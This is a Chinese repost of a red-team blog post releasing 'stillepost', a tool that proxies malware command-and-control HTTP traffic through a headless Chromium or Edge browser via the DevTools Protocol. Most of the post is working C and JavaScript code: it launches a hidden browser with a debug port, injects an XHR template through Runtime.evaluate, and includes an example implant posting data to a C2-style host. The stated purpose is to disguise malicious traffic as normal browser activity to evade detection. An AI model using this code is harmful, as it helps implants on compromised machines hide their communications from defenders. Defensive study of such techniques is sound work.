Stillepost:或者,如何通过Chromium代理你的C2HTTP流量

admin 2026-04-02 03:47:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍如何通过ChromeDevToolsProtocol滥用Chromium浏览器功能实现C2流量代理。作者开发了stillepost工具,利用CDP启动headless浏览器、获取WebSocket调试URL并执行JavaScript模板发送HTTP请求,使恶意流量伪装成正常浏览器行为以规避检测。工具支持自定义浏览器路径、调试端口和用户配置文件,提供C库和Python实现。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透,安全工具,WEB安全


cover_image

Stillepost:或者,如何通过 Chromium 代理你的 C2 HTTP 流量

x90x90 x90x90

securitainment

2026年4月1日 16:32 中国香港

| 原文链接 | 作者 | | — | — | | https://x90x90.dev/posts/stillepost/ | x90x90 |

引言

我最近在为自己的 C2 项目寻找新模块时,开始接触从不同浏览器中导出 cookies 这一话题。在阅读实现这件事的各种技术时,我发现了像 WhiteChocolateMacademiaNut 这样的工具,它利用了 Chrome DevTools Protocol (简称 CDP)。这种方法之所以让我印象深刻,是因为它不同于其他技术,不需要直接读取文件,也不依赖 hooking,而是借助一个原本就存在、且按预期方式使用的合法功能来达成恶意目的。这让我开始思考:这个 Chrome DevTools Protocol 对攻击者来说,还能在哪些方面派上用场?这也正是这篇博客和工具发布的由来。

在这篇文章里,我会介绍 Chrome DevTools Protocol、我在阅读其文档时受到启发产生的想法,以及如何把这个想法一步步落地成可用实现。读完这篇博客后,你应该能够在自己的项目中使用 stillepost,通过基于 Chromium 的浏览器发送 HTTP 请求。

如果你对背后的想法和开发过程不感兴趣 (🥲),可以直接在这个仓库里查看最终的 C 库和 Python 代码:https://github.com/dis0rder0x00/stillepost

✨Chrome DevTools Protocol✨

正如 ChromeDevTools documentation 本身所说:

Chrome DevTools Protocol允许工具对 Chromium、Chrome 以及其他基于 Blink 的浏览器进行插桩、检查、调试和性能分析。许多现有项目 目前都在使用 这一协议。Chrome DevTools 本身也使用该协议,并由其团队维护对应的 API。

插桩能力被划分为多个 domain (如 DOM、Debugger、Network 等)。每个 domain 都定义了一组它支持的命令,以及它会产生的事件。无论是命令还是事件,都会被序列化为固定结构的 JSON 对象。

要使用 CDP,首先需要通过命令行参数 --remote-debugging-port=启动一个 Chrome 实例。如果你把这个参数设为 0,Chrome 会随机生成一个端口号,并通过该端口暴露 CDP server。如果你不喜欢随机性,想让生活更可控一点,也可以手动指定任意端口号 (当然,这个端口必须可用)。

在启动浏览器并让它拉起 CDP server 之后,你就可以通过一个 WebSocket URL 连接到它。这个 WebSocket URL 有两种获取方式:

  1. 浏览器进程会把这个 URL 打印到 STDERR,可以直接从那里读取。
  2. 通过读取 http://127.0.0.1:<debugPort>/json/list获取。

如果你选择第二种方式,对这个 endpoint 发起一个 GET 请求后,会得到如下类似响应;你可以从中解析出任意一个 webSocketDebuggerUrl:

[ {
"description":&nbsp;"",
"devtoolsFrontendUrl":&nbsp;"https://aka.ms/docs[...]",
"id":&nbsp;"FA73A14107D6EF7709C69BFB9BAAB529",
"title":&nbsp;"localhost",
"type":&nbsp;"page",
"url":&nbsp;"http://localhost:4444/json/list",
"webSocketDebuggerUrl":&nbsp;"ws://localhost:4444/devtools/page/FA73A14107D6EF7709C69BFB9BAAB529"
},
[...]
]

连上 WebSocket 之后,Chrome DevTools Protocol 主要通过 JSONRPC 请求下发不同命令。每个命令请求都由一个 JavaScript struct 组成,其中包含 idmethod和 params,而 params中则放入你希望或需要传给该方法的参数。

下面是一个对当前页面截图的命令示例:

{
"id":&nbsp;1,
"method":&nbsp;"Page.captureScreenshot",
"params": {
"format":&nbsp;"jpeg"
&nbsp; &nbsp; }
}

我强烈建议你亲自查看 Chrome DevTools Protocol Documentation,那里列出了所有可用的 domain、它们的方法、属性以及使用方式。

既然核心技术基础已经讲清楚了,接下来我们就看看该如何“滥用”它。

现在怎么办 ¯_(ツ)_/¯? 核心思路

CDP 让我们能够访问浏览器的基础功能。例如,我们可以:

  • 打开页面
  • 读写已打开标签页的 DOM
  • 获取宿主机信息
  • 访问浏览器存储
  • 以及更多功能……

但我问了自己一个问题:既然我们已经能访问浏览器这么多功能,那么浏览器具备、而恶意 implant 可能缺少的东西是什么?

我首先想到的是:对各种网站和 endpoint 发起“看起来合理”的网络流量。

如果我们落地到一台用户工作站上,通常可以预期公司会允许员工通过浏览器访问 Web。这意味着浏览器应该已经配置好了正确的代理设置 (或者直接使用系统代理配置),具备对 443 端口所需的防火墙白名单,而且来自 Chrome、Edge 或其他浏览器的流量本身也应当是正常可预期的。

在我看来,这非常适合这样一种场景:钓鱼载荷通过 side-loading 的方式,让你的 implant 运行在某个任意的已签名二进制文件中。如果 implant 能把流量代理到用户的浏览器里发出,你就可以避免由这个 side-loaded 二进制直接产生异常的对外连接流量 (除了本地 localhost 连接以外),同时也不必操心让 implant 自己具备代理感知能力。并且,既然这是钓鱼活动的一部分,就可以假设它落在一台用户每天都会实际使用的机器上,这意味着浏览器大概率已经完成配置并且可正常使用。

那么,是否存在一种方式,能让我们通过 Chrome DevTools Protocol 触发任意请求?简短回答当然是:有。否则这篇博客大概也就没什么写的必要了……

我最初想到的是利用 Networkdomain,但在查看它的描述和可用函数后,我发现它似乎并不合适,因为乍一看它并没有提供那种可以让我们把任意数据发送到任意 URL 的函数:

landscape

我的下一个想法就稍微“hacky”一点了。如果我们能控制已打开页面的 DOM,那是不是可以往里面注入任意 JavaScript 代码,并由它触发一个 XHR 请求?这样一来,我们就能控制目标 URL、数据,甚至部分请求头。但是,这种方法很可能会受到目标页面 CSP 的限制,从而影响内联 JavaScript 的执行。

于是我又在文档里继续翻了一阵,找到了一个替代方案,而且在我看来更好:Runtimedomain 及其 evaluate方法:

landscape

这个方法允许我们直接 eval任意 JavaScript 代码,并把它的返回值作为响应拿回来。

因此,只要我们写一个 JavaScript 函数,让它接收 URL、一些数据以及一组请求头,然后通过 XHR 发起请求,从理论上讲,我们就能返回一个包含响应内容的对象。做到这一步,整个项目的核心目标也就实现了。那就开始吧。

搭建整体框架

基于目前掌握的信息,这个 PoC 的基本工作流程应当如下:

  1. 准备环境
  2. 使用必要的参数启动一个 Chromium 浏览器
  3. 解析 JavaScript 模板并填入所需信息 (method、目标 URL、data、headers)
  4. 获取 WebSocket URL 并连接过去
  5. 携带该 JS 模板发出 Runtime.Evaluate命令
  6. 取回响应

如果这能帮助你更好理解这个思路,我也公开了自己最初的 Python PoC: https://github.com/dis0rder0x00/stillepost/blob/main/python_code/stillepost_poc.py

环境准备

在启动浏览器之前,我们需要先明确并准备一些变量,包括:

  1. 要启动哪个浏览器
  2. 浏览器应当使用哪个 user-profile
  3. CDP server 监听哪个 debug port

在 stillepost 库中,这些内容都作为对外暴露函数 stillepost_init的一部分来实现,其函数签名如下:

BOOL&nbsp;stillepost_init(LPSTR lpBrowserPath, DWORD dwDebugPort, LPSTR lpProfilePath)

第一个参数 lpBrowserPath的用途应该很直观,它表示基于 Chromium 的浏览器可执行文件路径。如果这个参数被设置为 NULL,则会使用 Edge 的默认路径 (C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe)。

理论上你也可以使用其他基于 Chromium 的浏览器,例如:

  • Chrome
  • Opera
  • Brave
  • Vivaldi
  • Chromium (谁能想到呢)

第二个参数 dwDebugPort是 CDP server 监听的 debug port。如果它被设为 0,代码就会模拟浏览器自身的行为,随机生成一个端口。

第三个参数 lpProfilePath表示浏览器实例将使用的 profile。你既可以传入 profile 文件夹路径,也可以传入 profile 名称。如果把这个参数设为 NULL,stillepost 会生成并创建一个临时目录,并在后续由 stillepost 的 cleanup 函数将其删除。

我更倾向于让这个工具在每次运行时都从一个干净环境开始,因此默认行为是新建一个临时 profile (也就是传入 NULL)。我认为 XHR 请求大概率不会出现在用户 profile 的历史记录里,但与其冒着污染现有用户 profile 的风险,我还是更愿意创建一个临时目录,并在之后删除它。如果你了解使用现有 profile 可能带来的影响,欢迎告诉我。

当浏览器参数和环境都准备好后,函数接下来就会真正启动浏览器。

启动浏览器

真正启动这个进程并没有多复杂,本质上就是调用 CreateProcessA并带上相应命令行参数。

HRESULT hr = StringCchPrintfA(
&nbsp; &nbsp; lpDebugCmd,
sizeof(lpDebugCmd),
"\"%s\"&nbsp;--remote-debugging-port=%d&nbsp;--headless --user-data-dir=\"%s\"&nbsp;--log-level=3 --disable-logging",
&nbsp; &nbsp; g_lpChromePath,
&nbsp; &nbsp; g_dwDebugPort,
&nbsp; &nbsp; g_lpProfileFolder
);

if&nbsp;(!CreateProcessA(
NULL,
&nbsp; &nbsp; lpDebugCmd,
NULL,
NULL,
FALSE,
&nbsp; &nbsp; CREATE_SUSPENDED | DETACHED_PROCESS,
NULL,
NULL,
&nbsp; &nbsp; &si,
&nbsp; &nbsp; &pi))
return;

g_piBrowser = pi;

作者注:在开发这个技术时,我曾在这个阶段加入过一个小型规避机制,用来增加检测难度,这个思路来自我在一些类似技术检测规则中见过的模式 (如果能在不带初始参数的情况下触发进程创建就更好了……)。我最终没有把这部分代码放进公开版本。我认为,不包含它也足以说明核心概念;而公开“规避性”实现,在我看来,只会降低缺乏经验的使用者上手门槛。我原本打算在这里简要描述一下这个机制,所以才把“启动浏览器”单独写成了一节,但结果也导致这一节显得有点空。抱歉。

除了 debug port 和 profile 这类环境信息外,我们还指定浏览器以 headless mode 启动。这样浏览器就不会创建可见窗口。这显然是必须的,否则用户会直接看到有东西在运行。不过这样做也有个副作用:浏览器会尝试附加到我们自己进程的控制台上。理论上你也许可以规避这一点,但我认为对这个 PoC 来说不值得花这个精力,所以我选择把日志限制到最低,这也就是浏览器剩余那些命令行参数存在的原因。

获取 WebSocket URL

在启动浏览器之后,我们还需要拿到 WebSocket URL,这样才能向它发送命令。

如果你还记得前面内容,我当时提到了两种获取方式。在这个项目里,我选择实现第二种,也就是向 http://127.0.0.1:<debugPort>/json/list发起一个 GET请求,并解析它的响应。

这部分代码位于 get_websocket_debugger_url函数中,它由 stillepost_init在内部调用。利用 WinHTTP 和 cJSON 实现起来相当直接,所以这里我就不展开讲太深了。

发出这个 GET请求后,借助 cJSON 库,响应解析大致就像下面这样简单:

cJSON *cjsonRoot = cJSON_Parse(lpResponse);
if&nbsp;(!cjsonRoot)
goto&nbsp;cleanup;

if&nbsp;(!cJSON_IsArray(cjsonRoot)) {
cJSON_Delete(cjsonRoot);
goto&nbsp;cleanup;
}

cJSON *cjsonFirstElem = cJSON_GetArrayItem(cjsonRoot,&nbsp;0);
if&nbsp;(!cjsonFirstElem || !cJSON_IsObject(cjsonFirstElem)) {
cJSON_Delete(cjsonRoot);
goto&nbsp;cleanup;
}

cJSON *cjsonWsItem = cJSON_GetObjectItemCaseSensitive(cjsonFirstElem,&nbsp;"webSocketDebuggerUrl");
if&nbsp;(!cjsonWsItem || !cJSON_IsString(cjsonWsItem) || !cjsonWsItem->valuestring) {
cJSON_Delete(cjsonRoot);
goto&nbsp;cleanup;
}

lpWsUrl = _strdup(cjsonWsItem->valuestring);
cJSON_Delete(cjsonRoot);

知道该通过哪个 WebSocket URL 去连接 CDP server 当然很好,但截至目前,我们还不知道连上去之后到底要执行什么。下面就来解决这个问题。

JavaScript 模板

我得坦白说……我真的不喜欢 JavaScript。也正因为如此,我写它写得非常烂 (除了写一些基础的 XSS PoC,用来拿个 CSRF-token,或者以目标用户身份执行某些操作之外)。所以,我们这里用来实际触发到远端 endpoint 的 XHR 请求的那个 JavaScript 模板,基本上是 AI 生成的。拜托别举着火把和草叉来找我。

于是我让 ChatGPT 帮我写了一个 JavaScript 函数,用来触发 XHR 请求,并返回一个包含响应状态码、全部响应头以及响应体的 JSON 对象。在说明这个函数应当接受哪些参数、并对结果做了一些修改之后,我得到了下面这段代码:

functionsendRequest(method,&nbsp;url,&nbsp;headersJson,&nbsp;dataJson) {
returnnewPromise(function(resolve) {
varxhr=newXMLHttpRequest();

xhr.onreadystatechange=function() {
if&nbsp;(xhr.readyState===4) {
varallHeaders=xhr.getAllResponseHeaders()&nbsp;||"";
varheaderLines=allHeaders.trim().split(/\\r?\\n/);
varhdrObj=&nbsp;{};
for&nbsp;(vari=0;&nbsp;i<headerLines.length;&nbsp;i++) {
varline=headerLines[i];
varidx=line.indexOf(":");
if&nbsp;(idx>-1) {
vark=line.substring(0,&nbsp;idx).trim();
varv=line.substring(idx+1).trim();
hdrObj[k]&nbsp;=v;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

varresultObj=&nbsp;{
status:xhr.status,
headers:hdrObj,
body:xhr.responseText
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; };

resolve(JSON.stringify(resultObj));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; };

varheaders=&nbsp;{};
if&nbsp;(headersJson&&typeofheadersJson==="string") {
try&nbsp;{
headers=JSON.parse(headersJson);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(_) {
resolve("");
return;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }

vardata=&nbsp;{};
if&nbsp;(dataJson&&typeofdataJson==="string") {
try&nbsp;{
data=JSON.parse(dataJson);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(_) {
data=&nbsp;{};
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }

if&nbsp;(method==="GET"||method==="HEAD") {
varparams=&nbsp;[];
for&nbsp;(varkindata) {
if&nbsp;(data.hasOwnProperty(k)) {
params.push(encodeURIComponent(k)&nbsp;+"="+encodeURIComponent(data[k]));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
if&nbsp;(params.length>0) {
url+=&nbsp;(url.indexOf("?")&nbsp;===-1?"?":"&")&nbsp;+params.join("&");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
xhr.open(method,&nbsp;url,&nbsp;true);

for&nbsp;(varhkinheaders) {
if&nbsp;(headers.hasOwnProperty(hk)) {
xhr.setRequestHeader(hk,&nbsp;headers[hk]);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

xhr.send();
return;
&nbsp; &nbsp; &nbsp; &nbsp; }

xhr.open(method,&nbsp;url,&nbsp;true);

for&nbsp;(varkeyinheaders) {
if&nbsp;(headers.hasOwnProperty(key)) {
xhr.setRequestHeader(key,&nbsp;headers[key]);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }

xhr.send(JSON.stringify(data));
&nbsp; &nbsp; });
}

在 JavaScript 中,这个函数可以,也应该像下面这样调用:

sendRequest("POST",&nbsp;"http://192.168.157.133:8000/",&nbsp;"{\"X-Poc\":&nbsp;\"SomeArbitraryValue\"}",&nbsp;"{\"param1\":&nbsp;\"value1\",&nbsp;\"param2\":&nbsp;\"value2\"}");

可以看到,这个 JS 函数接收四个参数:请求方法、目标 URL、一个用于定义请求头的 JSON 对象字符串,以及最后一个表示参数及其值的 JSON 对象字符串。

如果所选方法是 HEAD或 GET,这个 JavaScript 函数会解析参数对象,并把参数及其值拼接到 URL 后面。对于其他请求,则交给 xhr.send去处理数据发送。

至于响应,JavaScript 代码会构建一个 JSON 对象,并返回它序列化后的字符串版本:

{
"status":&nbsp;200,
"headers": {
"content-length":&nbsp;"16",
"content-type":&nbsp;"text/plain"
&nbsp; &nbsp; },
"body":&nbsp;"This is the body"
}

我又对这段 JavaScript 代码做了一点修改,额外直接加上了一个带占位符参数的函数调用,这样后面就可以很方便地把这些占位符替换成真实请求值:

functionsendRequest(method,&nbsp;url,&nbsp;headersJson,&nbsp;dataJson) {
// [... code of the sendRequest function ]
}

sendRequest(__METHOD__,&nbsp;__URL__,&nbsp;__HEADERS__,&nbsp;__DATA__);

因此,当我们想在浏览器里 eval 这段代码时,首先要做的就是把每个占位符参数替换成对应的真实值。

串联整体流程

当浏览器和 CDP server 已经跑起来、模板也准备完毕、stillepost 也知道该使用哪个 WebSocket URL 时,剩下唯一要做的事情,就是通过 Chrome DevTool Protocol 请求真正触发这个命令。

不过在解释代码究竟如何发送请求、以及怎样解析响应之前,我觉得应该先给你看一个例子,说明 stillepost库的三个主要函数该如何使用。

下面这段代码演示了你的 implant 如何使用 stillepost。代码包含 stillepost.h,它暴露了 stillepost_initstillepoststillepost_cleanup和 stillepost_getError这些函数,并使用它们向监听在 http://192.168.157.133:8000的 Web server 发送一个 POST请求:

#include<stdio.h>
#include"include/stillepost.h"

intmain() {
// Initialize the stillepost runtime (allocs, temp folder, start Edge, fetch ws URL)
if&nbsp;(!stillepost_init(NULL,&nbsp;0,&nbsp;NULL,&nbsp;TRUE)) {
printf("[!] Initialization failed:&nbsp;%lu\n",&nbsp;stillepost_getError());
return1;
&nbsp; &nbsp; }
// Prepare headers and data for the request
&nbsp; &nbsp; cJSON *cjsonpHttpHeaders =&nbsp;cJSON_CreateObject();
cJSON_AddStringToObject(cjsonpHttpHeaders,&nbsp;"X-Poc",&nbsp;"SomeArbitraryValue");

&nbsp; &nbsp; cJSON *cjsonpData =&nbsp;cJSON_CreateObject();
cJSON_AddStringToObject(cjsonpData,&nbsp;"param1",&nbsp;"value1");
cJSON_AddStringToObject(cjsonpData,&nbsp;"param2",&nbsp;"value2");

// Send the request via stillepost
response_t&nbsp;*resp =&nbsp;stillepost("POST",&nbsp;"http://192.168.157.133:8000/", cjsonpHttpHeaders, cjsonpData);
if&nbsp;(resp) {
printf("[i] -> Returned status code:&nbsp;%lu\n", resp->dwStatusCode);
printf("[i] -> Returned headers:&nbsp;%s\n",&nbsp;cJSON_PrintUnformatted(resp->cjsonpHeaders));
printf("[i] -> Returned body:&nbsp;%s\n", resp->lpBody);
&nbsp; &nbsp; }&nbsp;else&nbsp;{
printf("[!] Something went wrong:&nbsp;%lu\n",&nbsp;stillepost_getError());
&nbsp; &nbsp; }
// Cleanup stillepost internal resources
stillepost_cleanup();

// Cleanup main-owned resources
if&nbsp;(cjsonpHttpHeaders)&nbsp;cJSON_Delete(cjsonpHttpHeaders);
if&nbsp;(cjsonpData)&nbsp;cJSON_Delete(cjsonpData);

return0;
}

到目前为止,我主要描述的都是 stillepost_init里发生的事情 (准备环境、启动浏览器以及获取 WebSocket URL)。接下来我们简单看一下核心函数 stillepost,以理解如何利用 CDP 通过基于 Chromium 的浏览器代理 HTTP 请求。

这个函数首先会构建实际的 JavaScript payload,也就是把模板中的占位符替换为传入参数中的真实值:

LPSTR insMethod &nbsp;= replace_first(lpJsTemplate,&nbsp;"__METHOD__", &nbsp;lpMethod);
LPSTR insURL &nbsp; &nbsp; = replace_first(insMethod, &nbsp;&nbsp;"__URL__", &nbsp; &nbsp; &nbsp;lpURL);
if&nbsp;(!cjsonpHeaders) {
&nbsp; &nbsp; insHeaders =&nbsp;replace_first(insURL, &nbsp; &nbsp; &nbsp;"__HEADERS__", &nbsp;"\"\"");
}&nbsp;else&nbsp;{
&nbsp; &nbsp; insHeaders =&nbsp;replace_first(insURL, &nbsp; &nbsp; &nbsp;"__HEADERS__", &nbsp;cJSON_PrintUnformatted(cjsonpHeaders));
}
if&nbsp;(!cjsonpData) {
&nbsp; &nbsp; lpJsPayload =&nbsp;replace_first(insHeaders, &nbsp;"__DATA__", &nbsp; &nbsp;&nbsp;"\"\"");
}&nbsp;else&nbsp;{
&nbsp; &nbsp; lpJsPayload =&nbsp;replace_first(insHeaders, &nbsp;"__DATA__", &nbsp; &nbsp;&nbsp;cJSON_PrintUnformatted(cjsonpData));
}

模板解析完成后,我们再构造真正的 DevTools protocol JSON 消息,其中包含方法名 (Runtime.evaluate) 以及它的参数 (也就是存放在 lpJsPayload中、已经解析完成的 JS 模板)。

// 2) Build the DevTools protocol JSON message:
// {
// &nbsp; "id": 1,
// &nbsp; "method": "Runtime.evaluate",
// &nbsp; "params": {
// &nbsp; &nbsp; &nbsp;"expression": "<lpJsPayload>",
// &nbsp; &nbsp; &nbsp;"awaitPromise": true,
// &nbsp; &nbsp; &nbsp;"returnByValue": true
// &nbsp; }
// }
cJSON *cjsonRoot &nbsp; = cJSON_CreateObject();
cJSON *cjsonParams = cJSON_CreateObject();
cJSON *cjsonRespJson =&nbsp;NULL;

cJSON_AddNumberToObject(cjsonRoot,&nbsp;"id",&nbsp;1);
cJSON_AddStringToObject(cjsonRoot,&nbsp;"method",&nbsp;"Runtime.evaluate");
cJSON_AddItemToObject(cjsonRoot,&nbsp;"params", cjsonParams);

cJSON_AddStringToObject(cjsonParams,&nbsp;"expression", lpJsPayload);
cJSON_AddBoolToObject(cjsonParams, &nbsp;&nbsp;"awaitPromise",&nbsp;1);
cJSON_AddBoolToObject(cjsonParams, &nbsp;&nbsp;"returnByValue",&nbsp;1);

LPSTR lpPayloadStr = cJSON_PrintUnformatted(cjsonRoot);

cJSON_Delete(cjsonRoot);
free(lpJsPayload);

if&nbsp;(!lpPayloadStr) {
print_error("Failed to build JSON payload");
returnNULL;
}

这里我们还显式指定要等待 eval 返回数据,因为如果不这么做,函数就会在异步请求还没完成解析之前直接返回。

最终的 JSONRPC 消息构建完成后,我们就可以继续把它发送到 WebSocket endpoint。响应会被读入一个动态缓冲区中,而这个过程可能需要一些时间,具体取决于远端服务器的响应速度。

当响应被接收后,stillepost会准备一个 response_tstruct 作为返回值。这个类型定义如下:

typedefstruct&nbsp;{
&nbsp; &nbsp; DWORD dwStatusCode;
&nbsp; &nbsp; cJSON *cjsonpHeaders;
&nbsp; &nbsp; LPSTR lpBody;
}&nbsp;response_t;

拿到这个返回的 struct 之后,程序就会回到调用 stillepost的 main函数,我们也就可以继续处理响应内容。如果返回值是 NULL,说明中间出了问题,这时你可以调用 stillepost_getError获取错误码,并据此排查具体原因。

运行上面这个使用 stillepost 的 implant 示例后,输出结果会像下面这样:

>&nbsp;stillepost.exe
[i] Using profile folder: C:\Users\dis0rder\AppData\Local\Temp\7HiAYeYzLc
[i] Using debug port: 4166
[i] Starting Chrome...
[+] Chrome started (PID: 25104)

DevTools listening on ws://127.0.0.1:4166/devtools/browser/f8764485-ecd0-4ffa-9c36-7b0ba3abc822
[+] Got websocket URL:&nbsp;'ws://127.0.0.1:4166/devtools/page/B6E640D04EC7E862DF2F56674B07E576'
[i] Building JS payload
[i] Sending&nbsp;'POST'&nbsp;request to&nbsp;'http://192.168.157.133:8000/'
[i] ->&nbsp;Returned status code: 200
[i] ->&nbsp;Returned headers: {"content-length":"16","content-type":"text/plain"}
[i] ->&nbsp;Returned body: This is the body
[+] Chrome terminated
[+] Successfully deleted profile folder

需要注意的是,因为这个示例是一个控制台应用,所以 Edge 会附着到当前控制台,并打印出它创建的 WebSocket URL。

目标 Web server 看到的 POST请求大致如下:

landscape

如果想发送相同的数据和请求头,但改为 GET请求,只需要把对 stillepost的调用改成这样:

stillepost("GET", "http://192.168.157.133:8000/", cjsonpHttpHeaders, cjsonpData)

这样一来,发往 Web server 的请求就会变成下面这样:

landscape

清理

在程序结束时,我们必须确保完成 cleanup。这包括杀掉启动出来的浏览器、移除临时 profile 文件夹 (如果创建过的话),当然也包括释放所有已分配的内存。

函数 stillepost_cleanup会完成这些工作,并且不需要任何输入参数。至于由 main自己持有的资源,仍然需要自行释放 (这是自然的)。

该技术的局限性

这项技术只有在目标 Web server 允许来自任意 origin 的 CORS 请求时才成立。因此,在使用 stillepost 时,请务必确保你的 redirector 已正确配置 CORS,并明确允许这种行为。在测试这项技术时,我使用了一个 Python Web server,并显式设置了如下请求头:

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: *

这也正是为什么你未必能够在用户上下文中向其他网页随意发送任意请求。如果目标页面不允许 CORS 请求,浏览器就会直接丢弃或阻止该请求尝试。

后续开发

我还不确定之后是否会继续更新这项技术,所以目前就先把它按现状看待吧。这个 proof of concept 的目标,是通过浏览器发送 HTTP 流量,因为这是我自己的 C2 最常使用的协议。从理论上说,你或许也可以用 JavaScript 为其他类型的流量编写自定义协议处理逻辑,所以如果你有足够的动力,或者 prompt 技巧够强,这也许会是一个挺有意思的扩展方向 (不过我不太确定,让浏览器对任意位置发起 SMB 流量是否还能达到减少 IoCs 的目的)。

结语

我希望这篇博客能让你了解到 Chrome DevTools Protocol 另外一些可能没有那么广为人知的风险。我相信它还能被拿来做更多“有意思”的事情,之后我也许还会再回来研究一下。至少目前,我希望你会喜欢我的第一篇博客文章。如果你有任何反馈,我都非常乐意听到。

如果你还没看过,也可以去看看 stillepost 的 GitHub repository。

感谢阅读,祝你今天过得愉快。


免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:securitainment x90x90 x90x90《Stillepost:或者,如何通过 Chromium 代理你的 C2 HTTP 流量》

评论:0   参与:  0